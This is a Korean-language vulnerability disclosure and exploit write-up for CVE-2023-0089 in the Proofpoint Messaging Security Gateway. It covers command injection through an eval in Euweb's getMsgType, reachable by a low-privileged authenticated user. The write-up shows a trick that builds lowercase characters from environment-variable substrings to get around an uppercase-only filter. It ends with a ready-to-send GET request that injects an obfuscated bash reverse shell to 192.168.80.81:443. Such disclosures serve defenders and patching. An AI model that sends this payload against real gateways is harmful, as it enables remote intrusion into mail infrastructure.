
Proofpoint Email Gateway: 낮은 권한의 인증된 사용자에서 관리자로의 RCE
보안 연구원: ly1g3, ly1g3[at]tuta.io
GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
개요: 원격 코드 실행(RCE) - 낮은 권한의 인증된 사용자에서 관리자 RCE
CVE: CVE-2023-0089
타임라인:
Proofpoint Messaging Security Gateway용 익스플로잇
Euweb의 낮은 권한(인증된) 사용자는 관리자 권한으로 임의 코드 실행 권한을 얻을 수 있습니다.
Euwebutils.pm의 getMsgType 함수는 명령 주입에 취약합니다. $module 변수는 get 파라미터에서 오며, 이 사용자 입력에는 아무런 정화(sanitization)도 적용되지 않습니다.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
이 getMsgType 함수는 Euweb 애플리케이션에서 사용하는 많은 API 호출에 사용되므로, 다양한 방식으로 익스플로잇을 트리거할 수 있습니다.
모든 문자는 대문자여야 하므로 환경 변수를 사용하여 소문자에 대한 이 제한을 우회할 수 있습니다. 예: b 대신 ${SHELL:1:1}
use strict가 사용되므로 문자열 시작 부분에 MAIL_GENERAL()을 추가하여 PROOFPOINT_MAIL_REPORT_MSGTYPE_을 완성할 수 있습니다. 그 후 사용자 정의 perl 코드를 추가할 수 있습니다.
인코딩되지 않은 예제 페이로드: MAIL_GENERAL();`id`
소문자 제한을 우회하기 위해 환경 변수로 인코딩된 리버스 셸. pps 사용자로 코드가 실행됩니다.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`